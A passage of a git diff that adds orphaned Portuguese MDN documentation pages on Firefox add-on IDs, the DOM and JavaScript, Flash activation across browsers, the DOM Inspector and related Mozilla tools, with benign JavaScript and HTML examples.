With older types of Firefox add-on, the add-on developer must set the add-on ID explicitly. XUL/XPCOM add-ons set the ID in the install manifest, while SDK add-ons set it in the package.json.

+ +

However, from Firefox 48 you can develop, debug, publish, and update extensions without needing to set an explicit ID at all.

+ +
+

Note that the ability to develop and debug WebExtensions that don't include an ID is new in Firefox 48. If you need to use an earlier version of Firefox, then you must use the applications key to set an ID explicitly.

+
+ +

Basic workflow with no add-on ID

+ +

Extensions can explicitly set the add-on ID using the applications key in manifest.json. However, this key is usually optional. If you don't set it, then you can usually develop, debug, publish, and update your extension without ever having to deal with an ID. One advantage of this is that Google Chrome does not recognize the applications key and will show a warning if you include it.

+ +

Note, though, that some WebExtension APIs use the add-on ID and expect it to be the same from one browser session to the next. If you use these APIs in Firefox, then you must set the ID explicitly using the applications key. See When do you need an Add-on ID?.

+ +

Developing and debugging

+ +

Starting in Firefox 48, if your manifest.json does not contain an ID then the extension will be assigned a randomly-generated temporary ID when you install it in Firefox through about:debugging. If you then reload the extension using the "Reload" button, the same ID will be used. If you then restart Firefox and load the add-on again, it will get a new ID.

+ +

If you turn the extension into an .xpi or .zip and install it through about:addons, it will not work. To have it work in this scenario, you will need to add in the applications key in manifest.json

+ +

Publishing

+ +

Once you have finished developing the extension, you can package it and submit it to AMO for review and signing. If the packaged extension you upload does not contain an ID, AMO will generate one for you. It's only at this point that the add-on will be assigned a permanent ID, which will be embedded in the signed packaged extension.

+ +

Note that once an extension has been given a permanent ID, you can't then update it to use the Add-on SDK or legacy XUL/XPCOM techniques. If you do switch to one of these platforms, you must submit it as a distinct new add-on, with a new ID.

+ +

Updating

+ +

Even after this point, though, you don't generally have to deal with the ID at all. You can continue to develop the add-on without an ID, and when you want to update, upload the new version by visiting the add-on's AMO page. Because you are uploading the add-on through that page, AMO knows that this is an update to this particular add-on, even though it doesn't contain an ID.

+ +
+

It's essential with this workflow that you update the add-on manually using its page on AMO, otherwise AMO will not understand that the submission is an update to an existing add-on, and will treat the update as a brand-new add-on.

+
+ +

You can do the same thing if you are updating from an older add-on type, such as a XUL/XPCOM add-on, to use WebExtensions APIs. Just visit the old add-on's page on AMO, upload the new extension there, and it will be treated as an update to the old version.

+ +

Quando é que precisa de uma Id. de extra?

+ + + +

 

+ +

 

+ +

 

diff --git a/files/pt-pt/orphaned/o_dom_e_o_javascript/index.html b/files/pt-pt/orphaned/o_dom_e_o_javascript/index.html new file mode 100644 index 0000000000..ba7b45f921 --- /dev/null +++ b/files/pt-pt/orphaned/o_dom_e_o_javascript/index.html @@ -0,0 +1,82 @@ +--- +title: O DOM e o JavaScript +slug: O_DOM_e_o_JavaScript +--- +

Quadro Geral

+ +

Efeitos visuais como movimentação de camadas pela página, mostrar e esconder camadas, menus em popup, etc. são normalmente referenciados como "DHTML", ou "HTML Dinâmico". Algumas pessoas questionam a utilização real dessas tecnologias em páginas web que supostamente deveriam lidar com conteúdo e não apresentação. Mas o fato é que estão aqui, hoje.

+ +

Desde que trabalho nesse projeto, e tendo contato com vários webmasters, me impressiona a grande quantidade da comunidade de webdesign que não conhece seus trabalhos DHTML. A maior parte do tempo eles apenas vão até sites de repositório de scripts, e apenas copiam e colam o código em sua própria página web. Infelizmente a maioria desses sites falam sobre "javascript" e "DHTML" e nunca falam sobre "DOM". É verdade que, mesmo que o DOM seja um conceito antigo, ele faz parte dos "jargões do desenvolvedor web médio" apenas recentemente.

+ +

É um grande desafio para um projeto como a Mozilla convencer os donos desses sites de que vale a pena codificar para o DOM W3C , o que as vezes significa muito trabalho, e falta de suporte em browsers antigos. Também é um grande desafio obter os fatos verdadeiros sobre o suporte ao DOM W3C. O Netscape 6 foi muito criticado por webdesigners estúpidos que estavam codificando seu "JavaScript" para o Netscape 4 e Internet Explorer usando document.layers e document.all. Todos os dias tentamos ajudar pessoas em grupos de notícias, emails pessoais, no Bugzilla, a ter seu site o mais compatível possível. Um dos maiores problemas que encontramos é a confusão entre JavaScript, DHTML, e DOM. Essa é uma tentativa de esclarecer as coisas, e explicar as relações entre essas fantásticas e úteis tecnologias.

+ +

Javascript, A Linguaguem de Script para Web

+ +

JavaScript é uma "linguagem de objetos de script" desenvolvida inicialmente na Netscape Communications Corp. por Brendan Eich, que é um dos líderes do projeto Mozilla atualmente. O motor JavaScript utilizado pela Mozilla é o SpiderMonkey, que está em conformidade com a especificação do ECMA-262 revisão 3. JavaScript também é conhecido como ECMAScript (mas veja a página do link para uma explicação detalhada).

+ +

Ao contrário do popular equívoco, Javascript não é "Java Interpretado". Em resumo, Javascript é uma linguagem de script dinâmica com suporte a construção de objetos baseado em protótipo. A sintaxe básica é intencionalmente similar a Java e C++ para reduzir a quantidade de novos conceitos necessários para aprender a linguagem. A grande coisa sobre JavaScript é que ele é extremamente fácil de aprender se você quer fazer programação básica (como as necessárias para DHTML simples). Sem tipos visíveis de variáveis, strings são simples de utilizar, total neutralidade de plataforma, etc. Para codificadores avançados também funciona como linguagem procedural e orientada a objetos.

+ +

Você verá que a maior parte desse parágrafo sobre JavaScript foi retirado da página de JavaScript da Mozilla. A especificação mais recente do ECMA pode ser encontrada aqui.

+ +

O Modelo de Objeto de Documento, um conjunto de interfaces neutro de linguagem

+ +

Enquanto JavaScript é a linguagem de programação que permitirá a você operar os objetos DOM e manipulá-los através de programação, o DOM proverá a você métodos e propriedades para recuperar, modificar, atualizar e remover partes do documento em que você está trabalhando. Por exemplo, você pode recuperar o valor de um controle de input de texto HTML como uma string utilizando o DOM. Então você pode utilizar o operador JavaScript "+" para concatenar essa string com qualquer outra de modo a fazer uma sentença mais compreensível. Você deveria usar o método DOM "alert()" para mostrar a string em uma caixa de diálogo para o usuário. Veja também exemplos abaixo.

+ +

Se uma página Web fosse um pedaço de um móvel importado da Suécia, o DOM seria as ilustrações das partes - as prateleiras, parafusos, chaves Allen e chaves de fenda.  É possível escrever instruções de como colocar as partes juntas e utilizá-las em qualquer número de linguagens, mas você só utilizará aquelas que você compreende. O manual faz com que seja fácil montar o móvel utilizando as instruções escritas (JavaScript) para referenciar ilustrações do s objetos (DOM) que representam objetos atuais (motor de renderização do navegador). (Obrigado ao Jonathan pela analogia!)

+ +

O que é essa fama "linguagem-neutra" como DOM? Por que o DOM é uma linguagem neutra se a única linguagem utilizada para acessá-lo é JavaScript? Bem, isso não é completamente correto. Por exemplo, a Mozilla utiliza o DOM internamento tanto em C++ quanto em JavaScript para sua interface de usuário. O editor, por exemplo,utiliza DOM extensivamente de modo a inserir, modificar e remover o HTML que você está vendo quando você constrói a página no modulo Compositor. Outras implementações conhecidas do DOM incluem Perl, Java, ActiveX, Python, e provavelmente outras. Isso é com certeza possível apenas devido a neutralidade de linguagem do DOM.

+ +

O DOM e o JavaScript - O que está fazendo o que?

+ +

Chegamos ao ponto principal desse documento. O que está fazendo o que? Em um script que embuti em minha página web, o que é o DOM e o que é o JavaScript? Vamos olhar um pouco mais de perto para um simples exemplo. Ele irá recuperar todas as tags <a> em uma NodeList que chamamos de "anchorTags". Então para cada tag de âncora (cada elemento da NodeList anchorTags), ele vai mostrar um alert como valor do atributo "href" da tag.

+ +

Azul é para JavaScript. Vermelho para DOM.

+ +
var anchorTags = document.getElementsByTagName("a");
+for (var i = 0; i < anchorTags.length ; i++)
+{
+   alert("Href desse elemento a é : " + anchorTags[i].href + "\n");
+}
+
+ +

Explicações

+ +

Esse fragmento de código mostra o que é JavaScript puro, e o que é DOM.

+ +
+
var anchorTags =
+
Isso irá criar a variável JavaScript chamada "anchorTags".
+
document.getElementsByTagName("a")
+
A interface Document é a primeira interface definida no DOM1 Core, e document é um hospedeiro de objeto implementando a interface Document. O documento armazena tudo que está em sua página.
+ O DOM1 Core define o método getElementsByTagName() na inteface Document. Ele recupera uma NodeList (uma espécie de array específico do DOM que armazena nós) de todas as tags que coincidem com o parâmetro passado para a função, em ordem de ocorrência no documento fonte. A variável anchorTags agora é um NodeList.
+
;
+
O básico ponto e vírgula de fim de instrução. Coisa do JavaScript.
+
for (var i = 0; i <
+
Uma típica repetição "for" de uma linguagem de programação. Isso permite ir através de cada nó contido no NodeList anchorTags. Note a declaração da variável "i". Também JavaScript.
+
anchorTags.length
+
O DOM1 Core define a propriedade length da interface NodeList. Isso retorna um inteiro que é o número de nós contidos no NodeList. Note que arrays JavaScript também possuem uma priedade length.
+
; i++) {
+
Típico incremento de 1 em variável JavaScript.
+
alert(
+
alert() é um método DOM que faz surgir uma caixa de diálogo com o parâmetro (string) que você passou para ele. Note que isso é parte do chamado DOM nível 0, ou DOM0. DOM0 é um conjunto de interfaces suportada por alguns browsers, mas que não é parte da especificação DOM.
+
"Href desse elemento a é: " +
+
Uma string literal e um operador de concatenação de string. JavaScript.
+
anchorTags{{ mediawiki.external('i') }}.href
+
"href" é uma propriedade da interface HTMLAnchorElement definida na especificação HTML DOM1. Ela reotnra o valor do atributo href do elemento âncora, se existir.
+ Nós utilizamos anchorTags{{ mediawiki.external('i') }}, a mesma sintaxe que é utilizada em JavaScript para acessar o i-ésimo item de um array. A neutralidade de linguagem "modo DOM" para acessar um item de uma NodeList é utilizar o método item(), definido na interface NodeList: anchorTags.item(1).href. Mas a maioria das implementações JavaScript permite utilizar uma sintaxe mais simples semelhante a de array, e essa é que as pessoas mais utilizam realmente.
+
+ "\n");
+
Mais concatenação de string. Insere um retorno de linha ao fim da string.
+
}
+
Fim do laço de repetição "for".
+
+ +
+

Original Document Information

+ + +
+ +

{{ languages( { "fr": "fr/Le_DOM_et_JavaScript", "ja": "ja/The_DOM_and_JavaScript", "pl": "pl/DOM_i_JavaScript", "zh-cn": "cn/The_DOM_and_JavaScript", "pt": "pt/O_DOM_e_o_JavaScript" } ) }}

diff --git a/files/pt-pt/orphaned/plugins/flash_activation_colon__browser_comparison/index.html b/files/pt-pt/orphaned/plugins/flash_activation_colon__browser_comparison/index.html new file mode 100644 index 0000000000..e804f3a3f9 --- /dev/null +++ b/files/pt-pt/orphaned/plugins/flash_activation_colon__browser_comparison/index.html @@ -0,0 +1,146 @@ +--- +title: 'Ativação de Flash: Comparação de Navegador' +slug: 'Plugins/Ativacao_de_Flash:_comparacao_de_navegador' +tags: + - Como + - Flash + - Principiante + - compatibilidade de navegador +translation_of: 'Plugins/Flash_Activation:_Browser_Comparison' +--- +

Cada um dos principais navegadores implementou uma funcionalidade onde o conteúdo do Adobe Flash não é executado por predefinição, mas cada um dos navegadores implementou essa funcionalidade e a interface do utilizador de maneiras ligeiramente diferentes. Este guia irá ajudar a descrever as semelhanças e as diferenças entre os navegadores, para que os programadores da Web possam oferecer a melhor experiência ao utilizador. Está disponível outro guia para assistir os autores do site da Web em migrating away from Flash.

+ +

In each browser, the decision to enable Flash is made by users on a per-site basis. When a site attempts to use Flash, the browser will prompt the user in some way and give the user an opportunity to enable Flash for that site. Flash-blocking extensions are no longer necessary because this functionality is now built into the browser.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
 Mozilla FirefoxGoogle ChromeMicrosoft Edge
Setting NameAsk to activateHTML5 by defaultClick-to-run
'application/x-shockwave-flash' in navigator.mimeTypes by default when Flash is inactiveyesnono
'application/x-shockwave-flash' in navigator.mimeTypes when user enables Flashyesyesyes
<object> with fallback content triggers UIyes, with exceptionsnoyes
small/hidden Flash triggers additional UIyesnono
Enabling Flash automatically reloads the pagenoyesyes
Other features related to FlashDomain BlockingPlugin Power SaverPeripheral Content Pause
+ +

Each of the browser vendors has a roadmap about the future of Flash and changes to the user experience. The Firefox Flash roadmap includes links to roadmaps and posts from other vendors.

+ +

Caomparação da IU

+ +

Mozilla Firefox

+ +

In-page UI is displayed when the site attempts to use Flash. An icon also appears on the left side of the location bar. The user can click on the Flash object or the location bar icon to activate Flash:

+ +

+ +

Users have the choice to allow Flash just for the current session, or to remember their choice:

+ +

+ +

Google Chrome

+ +

In-page UI is displayed when the site attempts to use Flash without fallback content:

+ +

+ +

A user can click the plugin element to show a prompt for allowing Flash:

+ +

+ +

If the site provides fallback content for an object element, Chrome will display that content and will not prompt the user to enable Flash. If a Flash element is not visible to the user, the user will not get a visible prompt.

+ +

A user can click the information icon on the left side of the location bar on any site to open the site information and allow Flash on that site:

+ +

+ +

Microsoft Edge

+ +

In-page UI is displayed when the site attempts to use Flash. An icon also appears on the right side of the location bar. The user can click the Flash object to show activation options:

+ +

+ +

Users have the choice to allow Flash just for the current session, or to remember their choice:

+ +

+ +

Dicas de Elaboração do Site

+ +

If a Flash element is very small, hidden, or covered by other content, users will probably not notice that Flash is required and will become confused. Even if the plugin element will eventually be hidden, pages should create the plugin element so that it's visible on the page, and should resize or hide it only after the user has activated the plugin. This can be done by calling a JavaScript function when the plugin is activated:

+ +
function pluginCreated() {
+  // We don't need to see the plugin, so hide it by resizing
+  var plugin = document.getElementById('myPlugin');
+  plugin.height = 0;
+  plugin.width = 0;
+  plugin.callPluginMethod();
+}
+ +

The HTML, by default, specifies the Flash object to be a size that makes it visible, like this:

+ +
<!-- Give the plugin an initial size so it is visible -->
+<object type="application/x-shockwave-flash" data="myapp.swf"
+      id="myPlugin" width="300" height="300">
+  <param name="callback" value="pluginCreated()">
+</object>
+ +

The callback parameter defined in the HTML can be called in Flash using its flash.external.ExternalInterface API.

+ +

Utilizar um callback de script para determinar quando um plug-in é ativado

+ +

Similarly, a site's script shouldn't attempt to script a plugin immediately upon creation. Instead, the plugin object should call into a JavaScript function upon creation. That function can then issue the call into the plugin, knowing that everything is set up and ready to go.

+ +

First, set your up your HTML with a callback that calls the JavaScript function pluginCreated(), like this:

+ +
<object type="application/x-my-plugin" data="somedata.mytype" id="myPlugin">
+  <param name="callback" value="pluginCreated()">
+</object>
+ +

The pluginCreated() function is then responsible for the setup of your script and any calls back into the plugin that you need to make:

+ +
function pluginCreated() {
+  document.getElementById('myPlugin').callPluginMethod();
+}
diff --git "a/files/pt-pt/orphaned/refer\303\252ncia_do_dom_gecko/pref\303\241cio/index.html" "b/files/pt-pt/orphaned/refer\303\252ncia_do_dom_gecko/pref\303\241cio/index.html" new file mode 100644 index 0000000000..f026443d93 --- /dev/null +++ "b/files/pt-pt/orphaned/refer\303\252ncia_do_dom_gecko/pref\303\241cio/index.html" @@ -0,0 +1,51 @@ +--- +title: Prefácio +slug: Referência_do_DOM_Gecko/Prefácio +tags: + - Referência_do_DOM_Gecko +--- +

{{ ApiRef() }}

+

Sobre Esta Referência

+

Esta seção descreve o próprio guia: a quem se destina, como a informação está representada, e como você pode usar os exemplos desta referência para seu próprio desenvolvimento de DOM.

+

Note que este documento está sob desenvolvimento, e atualmente não é uma listagem completa das propriedades e métodos do DOM implementados para o Gecko. No entanto, cada seção individual do documento (por exemplo, o DOM Document Reference) está completa para o(s) objeto(s) que descreve. Ao passo que as informações de referência para os vários membros das enormes APIs tornam-se disponíveis, elas são integradas neste documento.

+

Quem Deveria Ler Este Guia

+

O leitor do Gecko DOM Reference é um desenvolvedor web ou um usuário entusiasta que sabe algo sobre como as páginas de internet são construídas. Esta referência evitar fazer presunções sobre a familiaridade do leitor com o DOM, com XML, com servidores web ou padrões web, e mesmo com JavaScript, a linguagem na qual o DOM se torna acessível para o leitor. Mas o documento pressupõe familiaridade com HTML, com marcações, com a estrutura básica de páginas de internet, com navegadores e com folhas de estilo.

+

Aqui está presente o material introdutório, com muitos exemplos, e explicações de alto nível devem ser valiosas tanto para os desenvolvedores web inexperientes quanto para os experientes, e não é apenas um guia de desenvolvimento web para "iniciantes". Em geral, contudo, é um manual de referência da API que está evoluindo.

+

O Que É Gecko?

+

Mozilla, Firefox, Netscape 6+, e outros navegadores baseados no Mozilla tem implementações idênticas do DOM. Isto é porque eles usam a mesma tecnologia.naturally, it applies only to products based on the same version of Gecko, but it's tricky to explain

+

Gecko, o componente de software destes navegadores que manipula a análise do HTML, o layout das páginas, o modelo de objeto do documento, e mesmo a renderização da interface da aplicação inteira, é um componente renderizador, rápido, condizente com padrões, que implementa os padrões da W3C e similares (mas não padronizados) para o modelo de objeto de navegador (por exemplo, window et al) no contexto de páginas de internet e interfaces de aplicações, ou + + chrome + , do navegador.

+

Embora a interface de aplicação e o conteúdo mostrado na tela pelo navegador são diferentes de várias maneiras possíveis, o DOM os dispõe uniformemente como uma hierarquia de nós. (commenting this incomplete sentence out for now...) The tree structure of the DOM (which in its application to the user

+

Sintaxe da API

+

Cada descrição na referência da API inclui a sintaxe, os parâmetros de entrada e saída (onde o tipo de retorno é dado), um exemplo, quaisquer notas adicionais, e um link para a especificação apropriada.

+

Tipicamente, propriedades somente para leitura têm uma única linha de sintaxe, porque não é possível atribuir-lhes valor, essas propriedades podem apenas ser acessadas. Por exemplo, a propriedade somente para leitura availHeight do objeto screen tem a seguinte a seguinte informação de sintaxe:

+
+ Image:Preface2.gif
+

Isto significa que você somente pode usar a propriedade do lado direito da sentença; enquanto com propriedades de leitura e escrita, você pode atribuir um valor à propriedade, como o seguinte exemplo de sintaxe ilustra:

+
+ Image:Prefacea.gif
+

Em geral, o objeto cujo membro está sendo descrito é dado na sentença sintática por um tipo simples, por exemplo, element para todos os elementos, document para o objeto de documento de nível mais alto, table para o objeto tabela, e assim por diante (veja Tipos de dados importantes para maiores informações sobre os tipos de dados).

+

Usando os exemplos

+

Muitos dos exemplos que se encontram nesta referência são arquivos completos que você pode executar apenas copiando e colando em um novo arquivo e abrindo com o seu navegador. Outros são trechos de código. Você pode executar estes últimos colocando-os dentro de funções de chamada em JavaScript. Por exemplo, o exemplo para a propriedade window.document pode ser testada dentro de uma função como seguinte, que é chamada pelo botão:

+
<html>
+
+<script>
+function testWinDoc() {
+
+  doc= window.document;
+
+  alert(doc.title);
+
+}
+</script>
+
+<button onclick="testWinDoc();">Testar propriedade do document</button>
+
+</html>
+
+

Funções e páginas similares podem ser concebidas para todos os membros do objeto que todavia não estão prontos para uso imediato. Veja a introdução da seção Testando a API do DOM para uma bateria de testes que você pode usar para testar de uma vez uma série de APIs.

+
+  
+

{{ languages( { "es": "es/Referencia_DOM_de_Gecko/Prefacio", "fr": "fr/R\u00e9f\u00e9rence_du_DOM_Gecko/Pr\u00e9face", "ja": "ja/Gecko_DOM_Reference/Preface", "ko": "ko/Gecko_DOM_Reference/Preface", "pl": "pl/Dokumentacja_Gecko_DOM/Przedmowa", "zh-cn": "cn/Gecko_DOM_\u53c2\u8003/Preface" } ) }}

diff --git "a/files/pt-pt/orphaned/refer\303\252ncia_jsdbgapi/index.html" "b/files/pt-pt/orphaned/refer\303\252ncia_jsdbgapi/index.html" new file mode 100644 index 0000000000..c965649379 --- /dev/null +++ "b/files/pt-pt/orphaned/refer\303\252ncia_jsdbgapi/index.html" @@ -0,0 +1,22 @@ +--- +title: Referência JSDBGAPI +slug: Referência_JSDBGAPI +tags: + - JavaScript + - Referência_JSDBGAPI + - SpiderMonkey + - Todas_as_Categorias +--- +

 

+ +

Lista Alfabética

+ +

Estruturas de Dados

+ +

Funções

+ +

Macros

+ +

Desaprovado

+ +

Condicionantes de pré-processador

diff --git a/files/pt-pt/orphaned/sobre_o_document_object_model/index.html b/files/pt-pt/orphaned/sobre_o_document_object_model/index.html new file mode 100644 index 0000000000..015c14ffc8 --- /dev/null +++ b/files/pt-pt/orphaned/sobre_o_document_object_model/index.html @@ -0,0 +1,26 @@ +--- +title: Sobre o Document Object Model +slug: Sobre_o_Document_Object_Model +tags: + - DOM + - Todas_as_Categorias +--- +

O que é o DOM?

+ +

O Document Object Model é uma API para documentos HTML e XML. Isto proporciona uma representação estrutural de um documento, habilitando você a modificar seu conteúdo e apresentação visual. Essencialmente, isto conecta páginas web àscripts ou linguagens de programação.

+ +

Todas as propriedades, métodos, e eventos disponíveis para o desenvolvimento web para manipulação e criação de páginas web são organizados dentro dos objetos (e.g., o documento objeto que representa o documento por si mesmo, a tabela objeto que representa a tabela de elementos HTML, e assim por diante). Estes objetos são acessíveis via linguagens descripts nos mais recentes navegadores web.

+ +

O DOM é normalmente o mais usado em conjunto com o JavaScript. Que é, o código é escrito em JavaScript, mas usa o DOM para acessar a página web e seus elementos. Entretanto, o DOM foi desenhado para ser independente de qualquer linguagem de programação particular, fazendo a representação estrutural do documento disponível em uma simples, API consistente. Embora nosso foco no JavaScript por todo este site, implementações do DOM podem ser construídas para qualquer linguagem.

+ +

O World Wide Web Consortium estabelece um padrão para o DOM, chamado o W3C DOM. Deve, agora que os mais importantes navegadores implementaram isto corretamente, ativar poderosas aplicações multi navegadores.

+ +

Por que o suporte DOM no Mozilla é importante?

+ +

"HTML Dinâmico" (DHTML) é um termo usado por alguns vendedores para descrever a combinação do HTML, folhas de estilo escripts que permitem aos documentos serem animados. O Grupo de Trabalho W3C DOM está trabalhando duro para certificar-se da solução de interoperabilidade e linguagem-neutra sejam aceitos (veja também o W3C FAQ). Como o Mozilla reivindica o título de "Plataforma de Aplicação Web", suporte para o DOM é uma das características mais requisitadas, e uma necessária se o Mozilla deseja se tornar uma alternativa viável para outros navegadores.

+ +

Ainda mais importante é o fato de que a interface de usuário do Mozilla (também Firefox e Thunderbird) é construída usando XUL -- uma linguagem XML de interface de usuário. Então Mozilla usa o DOM para manipular seu próprio UI.

+ +

Categorias

+ +

Interwiki Language Links

diff --git a/files/pt-pt/orphaned/tinderbox/index.html b/files/pt-pt/orphaned/tinderbox/index.html new file mode 100644 index 0000000000..d0c041ec2e --- /dev/null +++ b/files/pt-pt/orphaned/tinderbox/index.html @@ -0,0 +1,31 @@ +--- +title: Tinderbox +slug: Tinderbox +tags: + - Desenvolvimento_Mozilla + - 'Desenvolvimento_Mozilla:Ferramentas' + - Ferramentas + - Todas_as_Categorias +--- +

 

+ +

Tinderbox é uma ferramenta web que os desenvolvedores Mozilla usam para checar se o código CVS corrente compila e passa nos testes funcionais básicos.

+ +

Árvores disponíveis:

+ + + +

Mozilla roda a configuração de computadores ("Tinderboxen") que continuamente constrói o código fonte mais recente; a ferramenta web tinderbox mostra o estado destas construções. Use as tabelas dela para encontrar o estado da fonte da árvore para a plataforma, produto, e galhos de código que você esteja interessado. Se isto for verde, significa que o último teste de código CVS compilado passou nos testes de fumo. Se for vermelho, isto falhou, e sua construção possivelmente falhará também.

+ +

A ferramenta web tinderbox reporta os resultados de vários testes de performance (inglês) como Tp ou Txul. Os desenvolvedores Mozilla frequentemente checam estes números para observar o efeito de mudanças de código na performance; uma mudança que é suficiente para diminuir a performance e pode ser descartada.

+ +

Categorias

+ +

Interwiki Language Links

diff --git a/files/pt-pt/orphaned/toolkit_api/index.html b/files/pt-pt/orphaned/toolkit_api/index.html new file mode 100644 index 0000000000..baf0ea793e --- /dev/null +++ b/files/pt-pt/orphaned/toolkit_api/index.html @@ -0,0 +1,12 @@ +--- +title: Toolkit API +slug: Toolkit_API +--- +

O Mozilla Toolkit, ou em português, a caixa de ferramentas Mozilla, é um conjunto de interfaces de programação (APIs) construídos com base no Gecko que fornece serviços avançados a aplicações XUL. Estes serviços incluem: +

Gestão de Perfil; +Registo Chrome; +Histórico de Navegação; +Gestão de Extensões e de Temas; +Serviço de Actualização de Aplicações; +Modo de Segurança; +

diff --git a/files/pt-pt/orphaned/tools/add-ons/dom_inspector/index.html b/files/pt-pt/orphaned/tools/add-ons/dom_inspector/index.html new file mode 100644 index 0000000000..a8f1e36178 --- /dev/null +++ b/files/pt-pt/orphaned/tools/add-ons/dom_inspector/index.html @@ -0,0 +1,67 @@ +--- +title: Inspetor de DOM +slug: DOM_Inspector +tags: + - 'DOM:Ferramentas' + - Desenvolvimento_Web + - 'Desenvolvimento_Web:Ferramentas' + - 'Extensões:Ferramentas' + - Ferramentas + - PrecisaDeRevisãoTécnica + - Temas + - 'Temas:Ferramentas' + - Todas_as_Categorias + - 'XUL:Ferramentas' +translation_of: Tools/Add-ons/DOM_Inspector +--- +
{{ToolsSidebar}}

Inspector DOM (também conhecido como DOMi) é uma ferramenta de programação utilizada para inspecionar, navegar, e editar Document Object Model of documents - usually web pages or XUL windows. The DOM hierarchy can be navigated using a two-paned window that allows a variety of different views on the document and all nodes within.

+ +
+

This tool is an add-on for XUL-based applications such as Firefox and Thunderbird. If you are looking for the DOM inspector that's built into Firefox, see the documentation for the Page Inspector

+
+ +

Documentação

+ +
+
Introduction to DOM Inspector
+
A guided tutorial that will help you get started with DOM Inspector.
+
+ +
+
Perguntas Mais Frequentes do Inspetor de DOM
+
Answers to common questions on DOM Inspector.
+
+ +
+
Página do Inspetor de Inspector em MozillaZine (EN)
+
Mais informação sobre o Inspetor de DOM.
+
Como criar o Inspetor de DOM (EN)
+
Blog post on building the DOM Inspector from source.
+
+ +

Obter o Inspetor de DOM

+ +
+
Firefox & Thunderbird
+
You may download and install the DOM Inspector from the AMO web site. (Thunderbird users browsing AMO in Firefox should save the installation link, or visit the DOM Inspector for Thunderbird page.)
+
+ +
+
Thunderbird 2
+
DOM Inspector for Thunderbird 2 is available from Thunderbird Add-ons. Or, build Thunderbird yourself with the following options:
+
+ +
ac_add_options --enable-extensions="default inspector"
+ac_add_options --enable-inspector-apis
+
+ +
+
Mozilla Suite and SeaMonkey
+
Select Tools > Web Development > DOM Inspector. You can install the Sidebar panel via Edit > Preferences > Advanced > DOM Inspector, then simply open up the inspector panel and visit a website.
+
+ +

Comunicar um erro no Inspetor de DOM

+ +

Use the conveniently named "DOM Inspector" component in Bugzilla.

+ +

To find out who knows DOM Inspector code and where it lives, see the DOM Inspector module listing.

diff --git a/files/pt-pt/orphaned/tools/add-ons/dom_inspector/introduction_to_dom_inspector/index.html b/files/pt-pt/orphaned/tools/add-ons/dom_inspector/introduction_to_dom_inspector/index.html new file mode 100644 index 0000000000..bacdb4c4c2 --- /dev/null +++ b/files/pt-pt/orphaned/tools/add-ons/dom_inspector/introduction_to_dom_inspector/index.html @@ -0,0 +1,92 @@ +--- +title: Introdução ao Inspetor de DOM +slug: DOM_Inspector/Introduction_to_DOM_Inspector +translation_of: Tools/Add-ons/DOM_Inspector/Introduction_to_DOM_Inspector +--- +
{{ToolsSidebar}}

O 'Inspetor de DOM' é uma extensão da Mozilla que pode aceder no menu Ferramentas > Desenvolvimento da Web no SeaMonkey, ou selecionar o item de menu do 'Inspetor de DOM' no menu das 'Ferramentas' no Firefox e Thunderbird, ou utilizar Ctrl/Cmd+Shift+I numa das aplicações. DOM Inspector is standalone; it supports all toolkit applications, and it's possible to embed it in your own XULRunner app. DOM Inspector can serve as a sanity check to verify the state of the DOM, or it can be used to manipulate the DOM by hand, if desired.

+ +
Note: Starting with Firefox 3, the DOM Inspector is not included in Firefox by default; instead, you must download and install it from the Mozilla add-ons web site.
+ +

When you first start the DOM Inspector, you are presented with a two-pane application window that looks a little like the main Mozilla browser. Like the browser, the DOM Inspector includes an address bar, and some of the same menus. In SeaMonkey additional global menus will be available.

+ +

domi.png

+ +

Inspecionar um Documento

+ +

When the DOM Inspector opens, it may or may not load an associated document, depending on the host application. If the DOM Inspector doesn't automatically load a document or loads a document other than the one you'd like to inspect, you can select the desired document a few different ways.

+ +

Inspecionar Documentos de Conteúdo

+ +

The Inspect Content Document menupopup can be accessed from the File menu, and it will list currently loaded content documents. In Firefox and SeaMonkey browser, these will be the webpages you have opened in tabs. For Thunderbird and SeaMonkey Mail and News, any messages you're viewing will be listed here.domi-inspect-content-popup.png

+ +

Inspecionar Documentos do Chrome

+ +

The Inspect Chrome Document menupopup can be accessed from the File menu , and it will contain the list of currently loaded chrome windows and subdocuments. A browser window and the DOM Inspector are likely be already open and displayed in this list. The DOM Inspector keeps track of all the windows that are open, so to inspect the DOM of a particular window in the DOM Inspector, simply access that window as you would normally and then choose its title from this dynamically updated menulist.

+ +

domi-inspect-chrome-popup.png

+ +

Inspecionar URLs arbitrários

+ +

You may also inspect the DOM of arbitrary URLs by using the Inspect a URL menuitem in the File menu, or by just entering a URL into the DOM Inspector's address bar and clicking Inspect or pressing enter. For example, you can enter http://www.mozilla.org in the address bar and see the DOM structure of the mozilla.org home page.

+ +

You should not use this approach to inspect chrome documents. Instead, ensure that the document loads via normal means and use the Inspect Chrome Document menupopup to select it for inspection.

+ +

domi-inspect-chrome-popup.png

+ +

When you inspect a web page with this method, a browser pane at the bottom of the DOM Inspector window will open up, displaying the web page. This allows you to use the DOM Inspector without having to use a separate browser window, or without embedding a browser in your application at all. If you find that the browser pane takes up too much space, you may close it, but you will not be able to observe any of the visual consequences of your actions.

+ +

Utilizar o Inspetor de DOM

+ +

Once you've opened the document for the page or chrome you are interested in, you'll see that it loads the DOM Nodes viewer in the document pane and the DOM Node viewer in the object pane. In the DOM Nodes viewer, there should be a structured, hierarchical view of the DOM. By clicking around in the document pane, you'll see that the viewers are linked; whenever you select a new node from the DOM Nodes viewer, the DOM Node viewer is automatically updated to reflect the information for that node. Linked viewers are the first major aspect to understand when learning how to use the DOM Inspector.

+ +

Visualizadores do Inspetor de DOM

+ +

Note that these viewers are just two viewers that the DOM Inspector provides. It's possible to use other viewers, but for now we'll stick to describing the DOM Nodes viewer and the DOM Node viewer.

+ +

You can use the DOM Nodes viewer in the document pane of the DOM Inspector to find and inspect nodes  you are interested in. One of the biggest and most immediate advantages that this brings to your web and application development is that it makes it possible to find the markup and the nodes in which the interesting parts of a page or a piece of the user interface are defined. One common use of the DOM Inspector is to find the name and location of particular icon being used in the user interface, which is not an easy task otherwise. If you're inspecting a chrome document, as you select nodes in the DOM Nodes viewer, the rendered versions of those nodes are highlighted in the user interface itself. (Note that there are bugs which prevent the flasher from DOM Inspector APIs from working correctly on certain platforms.)

+ +

